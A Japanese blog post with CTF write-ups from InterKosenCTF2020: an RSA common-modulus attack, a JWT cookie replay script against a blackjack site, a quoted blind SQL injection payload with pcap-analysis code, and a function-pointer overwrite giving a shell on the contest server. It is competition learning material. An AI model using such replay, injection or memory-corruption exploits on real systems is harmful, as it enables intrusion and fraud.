InterKosenCTF2020に参加した話

はじめに

ブログも久しぶり,CTFも久しぶりです. あまりに久しぶりすぎて,ダメダメでしたが(久しぶりでなくてもダメです)適当に解いた問題のWriteupを書いていきます.

結果

一応結果を書いておくと,2人チームで出場してました. チーム名: TearDropsで684pts(43位),個人: Tadarenで584pts(63位)です.

本編

ciphertexts

与えられるのは暗号化するスクリプトとその結果です.

スクリプトの内容を見ると,p, q, rの素数を用いたRSA暗号なことがわかります. ここで,n2がn1のr倍になっているのでc2のn2をいい感じにn1に変換できます. すると,c1, c2'が同じn1で割った余りになるのでCommon Modulus Attackができます.

import gmpy2
from Crypto.Util.number import *

with open('output.txt') as f:
    n1 = int(f.readline().split('= ')[1])
    n2 = int(f.readline().split('= ')[1])
    e1 = int(f.readline().split('= ')[1])
    e2 = int(f.readline().split('= ')[1])
    f.readline()
    c1 = int(f.readline().split('= ')[1])
    c2 = int(f.readline().split('= ')[1])

r = n2/n1
c22 = c2 % n1

gcd, s1, s2 = gmpy2.gcdext(e1, e2)
if s1 < 0:
    s1 = -s1
    c1 = gmpy2.invert(c1, n1)
v = pow(c1, s1, n1)
w = pow(c22, s2, n1)
m = (v*w) % n1
print(long_to_bytes(m))

flag: KosenCTF{HALDYN_D0M3}

matsushima2

ブラックジャックをするサイトと,そのソースが与えられます. ブラックジャックをして,チップの数が999999を超えたらflagが手に入ります. また,チップは100から始まって常に全賭けです. なので,14回連続で勝利すればOKです. ブラックジャックが強い人なら勝てばいいと思います.

僕は違うので,別の方法で行きます. API部分のソースを見ると,JWTで暗号化されたステートがcookieで保存されていることがわかり,それを受け取って次の処理が行われていることがわかります. ステートが全てcookieに乗っているので,負けたとしても前のcookieを保存しておいてそれを使えば負けたことをなかったことにできます. これを,適当に実装して合計14回勝利するのを待ちます.

import requests
import time


print('start')
res = requests.post('http://web.kosenctf.com:14001/initialize')
data = res.json()
chip = int(data['chip'])
score = int(data['player_score'])
cookie = res.cookies['matsushima']
time.sleep(1)

best_cookie = cookie
while True:
    cookie = best_cookie
    while True:
        while score >= 0:
            if score < 17:
                print('hit')
                res = requests.post('http://web.kosenctf.com:14001/hit', cookies={'matsushima': cookie})
                data = res.json()
                chip = int(data['chip'])
                score = int(data['player_score'])
                cookie = res.cookies['matsushima']
            else:
                print('stand')
                res = requests.post('http://web.kosenctf.com:14001/stand', cookies={'matsushima': cookie})
                data = res.json()
                chip = int(data['chip'])
                score = int(data['player_score'])
                cookie = res.cookies['matsushima']
                score = -1
            time.sleep(1)

        if chip > 1000000:
            print('gameClear')
            print(cookie)
            res = requests.get('http://web.kosenctf.com:14001/flag', cookies={'matsushima': cookie})
            print(res.text)
            exit()
        if chip == 0:
            score = 1
            print('gameover')
            break
        else:
            print('nextgame')
            res = requests.post('http://web.kosenctf.com:14001/nextgame', cookies={'matsushima': cookie})
            data = res.json()
            print(data)
            chip = int(data['chip'])
            score = int(data['player_score'])
            cookie = res.cookies['matsushima']
            best_cookie = cookie

flag: KosenCTF{r3m3mb3r_m475u5him4}

limited

あるサイトが攻撃されたときのパケットキャプチャ結果が与えられます. そこから,flagを探します.

wiresharkを用いて中身を見ているとhttp://moxxie.tk:8080/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19的なリクエストが見つかると思います. このサイトではsearch_max個の結果を出力するっぽいです. そして,search_maxに入っているSQLクエリは(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19です. これは,adminアカウントのsecretの1文字目の文字コードを19で割った余りという意味です. これが,search_maxに入っているので帰って来たHTMLの中の要素の個数を見れば文字のヒントが得られます.

このようなクエリがたくさんあるので,そこから文字のインデックス,割る数,結果をまとめて,flagを計算するスクリプトを書きます.

from scapy.all import *
from scapy.layers.http import HTTP

PCAP_FILE_PATH = 'packet.pcap'


def is_target_packet(packet):
    return HTTP in packet and ( packet[IP].dst == '124.41.115.112' or packet[IP].src == '124.41.115.112')

def parse(file_path):
    packets = rdpcap(file_path).filter(is_target_packet)[10:]

    data = {}
    for cnt, packet in enumerate(packets):
        if cnt % 2:
            tmp = str(packet[HTTP]).split('<th scope="row">')[-1]
            try:
                res = int(tmp.split('</th>')[0])
            except:
                res = 0
            if data.get(index, None) is None:
                data[index] = []
            data[index].append((mod, res))
            print(res)
        else:
            index = int(str(packet[HTTP]).split('%2C')[1][1:])
            mod = int(str(packet[HTTP]).split()[1].split('+')[-1])
            print(index, mod)
        print('---------------')

    for d in data.values():
        for i in range(33, 127):
            is_valid = True
            for dd in d:
                if i % dd[0] != dd[1]:
                    is_valid = False
            if is_valid:
                print(chr(i), end='')
                break

if __name__ == '__main__':
    parse(PCAP_FILE_PATH)

flag: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

babysort

アクセス先と,そのELF実行バイナリとソースが与えられます. ncでアクセスすると与えられた5つの数字を昇順 or 降順にソートするようです.

ここで,ソースをみるとシェルを呼び出す関数があるので,これを呼び出せば良いことがわかります. また,関数ポインタで呼んでいるところがあるのでここにその関数を入れたいと思います.

SortExperiment構造体の中にlong型の配列と関数ポインタの配列があります. これらはメモリ上で連続なので関数ポインタのインデックスをlong型の配列方向に配列外にして,その座標にwin関数のアドレスを入れます. win関数のアドレスは実行バイナリをradare2を使って適当に調べました.結果は0x00400787でした. あとは,数値として入力するのでこの値を10進数に変換して投げつけます.

nc pwn.kosenctf.com 9001
-*-*- Sort Experiment -*-*-
elm[0] = 1
elm[1] = 2
elm[2] = 3
elm[3] = 4
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
ls
chall
flag-165fa1768a33599b04fbb4f7a05d0d26.txt
redir.sh
cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

flag: KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

終わりに

久しぶりにCTFに出たので勘とかが鈍っている感じがしました. けど,スクリプトかいてflagがきれいに出て来たときはテンションが上がりますね.